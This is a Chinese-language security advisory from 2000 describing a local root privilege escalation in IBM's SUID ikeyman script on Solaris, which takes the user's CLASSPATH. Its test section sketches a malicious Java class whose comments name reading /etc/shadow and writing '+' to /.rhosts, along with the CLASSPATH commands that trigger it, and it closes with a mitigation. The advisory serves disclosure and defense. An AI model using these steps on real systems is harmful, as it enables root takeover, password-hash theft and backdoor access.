首页 -> 安全研究

安全研究

安全漏洞
IBM ikeyman Java Class生成漏洞

发布日期:2000-04-08
更新日期:2000-04-08

受影响系统:
IBM IBMHSSSB 1.0
+
Sun Solaris 2.6
描述:

Solaris搭载的来自IBM的IBMHSSB包,用于针对IBM webserver建立SSL连接。这个包中包含了
一个脚本,/usr/bin/ikeyman,缺省这是一个SUID-TO-ROOT的脚本,在调用另外一个脚本
/opt/ibm/gsk/bin/ikmgui之前,它用当前用户的CLASSPATH环境变量更新了执行过程中的
CLASSPATH变量。

第二个脚本/opt/ibm/gsk/bin/ikmgui调用了com.ibm.gsk.ikeyman.Ikeyman。既然用户的
CLASSPATH环境变量被读进新的CLASSPATH变量,于是可以替换掉
/com/ibm/gsk/ikeyman/Ikeyman,而把恶意的代码放在搜索路径上。于是,当
/usr/bin/ikeyman脚本被执行时,恶意代码以root身份运行。

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

创建下列java class:

package com.ibm.gsk.ikeyman;
import java.io.*;
public class Ikeyman
{
// bunch of code that essentially mimics
% cat /etc/shadow
// or
// % echo "+" > /.rhosts
// should do the trick
}

编译者程序,放到./com/ibm/gsk/ikeyman/Ikeyman.class,然后
$ CLASSPATH=.
$ export CLASSPATH
攻击者就可能利用ikeyman来执行这些攻击代码



建议:
临时解决方法:
去掉/usr/bin/ikeyman的suid属性,不允许未授权用户运行ikeyman

浏览次数:6319
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障